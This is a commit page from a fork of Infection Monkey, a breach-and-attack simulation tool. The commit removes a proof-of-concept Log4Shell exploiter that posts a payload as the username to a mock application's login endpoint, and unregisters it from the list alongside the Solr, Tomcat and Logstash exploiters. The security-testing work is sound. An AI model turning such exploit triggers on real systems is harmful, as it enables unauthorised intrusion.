p59342861
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Agent: Remove POC Docker Service

This commit is contained in:
Ilija Lazoroski 2022-01-13 16:59:22 +01:00
parent c2db37df1e
commit b94c8e54e2
2 changed files with 1 additions and 24 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py
View File

@ -1,11 +1,10 @@
from typing import List from typing import List
from .i_service_exploiter import IServiceExploiter from .i_service_exploiter import IServiceExploiter
from .poc_docker import DockerPOCExploit
from .solr import SolrExploit from .solr import SolrExploit
from .tomcat import TomcatExploit from .tomcat import TomcatExploit
from .logstash import LogStashExploit from .logstash import LogStashExploit
def get_log4shell_service_exploiters() -> List[IServiceExploiter]: def get_log4shell_service_exploiters() -> List[IServiceExploiter]:
return [DockerPOCExploit(), SolrExploit(), TomcatExploit(), LogStashExploit()] return [SolrExploit(), TomcatExploit(), LogStashExploit()]

22
monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py
View File

@ -1,22 +0,0 @@
from logging import getLogger
import requests
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
from infection_monkey.model import VictimHost
logger = getLogger(__name__)
class DockerPOCExploit(IServiceExploiter):
service_name = "GoFinance mock application"
@staticmethod
def trigger_exploit(payload: str, host: VictimHost, port: int):
url = f"http://{host.ip_addr}:{port}/login"
payload = {"uname": payload, "password": "m0nk3y"}
try:
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
except requests.ReadTimeout as e:
logger.debug(f"Log4shell request failed {e}")